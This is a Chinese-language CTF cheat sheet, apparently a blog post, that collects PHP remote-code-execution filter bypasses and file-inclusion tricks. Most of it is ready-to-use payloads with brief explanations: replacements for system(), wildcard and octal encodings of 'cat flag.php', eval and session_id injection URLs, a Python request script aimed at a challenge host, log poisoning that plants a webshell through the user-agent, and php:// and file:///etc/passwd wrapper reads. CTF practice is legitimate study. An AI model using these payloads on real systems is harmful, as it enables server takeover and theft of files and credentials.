CTF里多种漏洞利用及bypass(持续更新)
CTF里多种漏洞利用及bypass
RCE
过滤php函数system
替代函数有passthru(),exec(),shell_exec(),popen(),proc_open(),pcntl_exec(),shell_exec()都可进行带替。
过滤flag
可以用fla*,fla?.php,字符串拼接如$a=fl;$b=ag;$a$b,以及反引号(反引号可以将被其包裹的命令的输出作为另一个命令的参数或变量值),“$()”(和反引号作用一样),编码绕过如
cat echo ZmxhZy5waHAKIA== | base64 -d
也可以使用/bin/base64结合“?”来带替,比如当前页面下有flag.php,那么就可以使用
/???/????64%20????.???等于/bin/base64 flag.php来查看flag.php的base64编码
过滤空格
bash命令行环境下可以用${IFS},$IFS$9,<>,<(用于重定向如cat<flag.php,不能完全替代空格),'' 两个单引号,url中可以用%0a带替%20也就是回车符带替空格,以及%09(tab)来带替
过滤分号
可以使用php定界符也就是“?>”来替代,因为php会自动在程序的结束部分添加上一个分号;
过滤cat
可以用tac,more,less,nl,paste,tail,uniq,ca\t,($a=ca;$b=t;$a$b)带替
过滤字母
可以用八进制带替,比如说cat可以表示为$'\143\141\164'
$'\143\141\164'%20$'\146\154\141\147\056\160\150\160'就是cat flag.php
其它
没有过滤eval、“_”、“$”并且题目只对eval的参数c做过滤,我们只需要构造payload
?c=eval($_GET[a]);&a=system('cat flag.php');
没有过滤session、“_”、“(”、“)”、“;”并且同样题目只对参数c做过滤,只需构造payload
?c=session_start();system(hex2bin(session_id()));
然后抓包修改phpsessid的值为要执行命令的16进制编码
比如PHPSESSID=636174202f666c6167 cat /flag的十六进制
无参RCE,参考TGCTF2025web偷渡阴平非预期解 payload为
?a=eval(end(current(get_defined_vars())));&b=system('cat /*');
get_defined_vars()函数可返回当前所有已经定义的数组,其中就包括get请求和post请求
比如说这里返回
[
'_GET' => ['a' => 'eval(...)', 'b' => 'system(...)'],
'_POST' => [],
// 其他变量...
]
current()函数可用于返回数组的第一个元素值,这里返回的就是a参数的值也就是get请求全部内容,有点不好理解,在这里就相当于
current('_GET' => ['a' => 'eval(...)', 'b' => 'system(...)'],'_POST' => [],其他变量...)
对current()函数来说第一个值是get请求内容也就是红色部分
end()函数用于返回数组的最后一个元素值,这里返回的就是get请求里b参数的内容,方便理解,这里相当于
end('a' => 'eval(...);', 'b' => 'system(...);'),返回的是b参数的内容也就是system(...)
eval就是将数据当成php语句来执行,这里用于执行上面的那三个函数,最后得到system('cat /*')
最后的结果拼接上题目原有的eval就是eval(system('cat /*'));
没有过滤“include”,“$”,“_”可以配合文件包含漏洞
使用payload
?c=include $_GET[a];&a=php://filter/convert.base64-encode/resource=flag.php来绕过
或者使用
?c=include $_GET[a];&a=../../../../../var/log/nginx/access.log可以包含该日志文件,里面包含了请求包中的user-agent信息,可以抓包修改user-agent语句为其添加木马语句,再包含这个文件随后连接它
尝试解析phpinfo
解析成功
过滤字母和数字,没有过滤 “.” “?” “[” “@” “-” “]”
import requests url = "http://36dc6484-9930-4e44-81af-fc119fe89ced.challenge.ctf.show/" payload = {"c": ". /???/????????[@-[]"} files = {"files": "cat flag.php"} r = requests.post(url, params=payload, files=files) print(r.text)
要求构造数字,如已知flag在36.php,系统已经要执行system("cat ".$c.".php"); c为我们传入参数,并且题目没有过滤 “$” “(” “)” “{” “}” “#” “+”
bash里echo ${#} 输出0 echo ${##} 输出1 echo $((${##}+${##})) 输出2
那么可以构造payload
$((${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}))即为36
如果又过滤“{” “}” “#” 但是没过滤“~”
bash里 $(())为0 $((~$(())))为-1,那么我们可以先构造-37然后再取反就变成36了
构造-37
$(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$((~$(())))))
再取反
$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))
得到36
文件包含
伪协议
php:// 读取数据
php://filter/convert.base64-encode/resource=flag.php
data:// 传递数据(配合RCE)
?c=data://text/plain,(将逗号后的内容发送给网站,如果其内容为php语句,则会执行)
file:// 读取文件
file://文件的绝对路径
file:///etc/passwd
php://input 传递数据
include($_GET['file'])
?file=php://input 同时post传入php语句,语句被包含后会被解析为php代码进而执行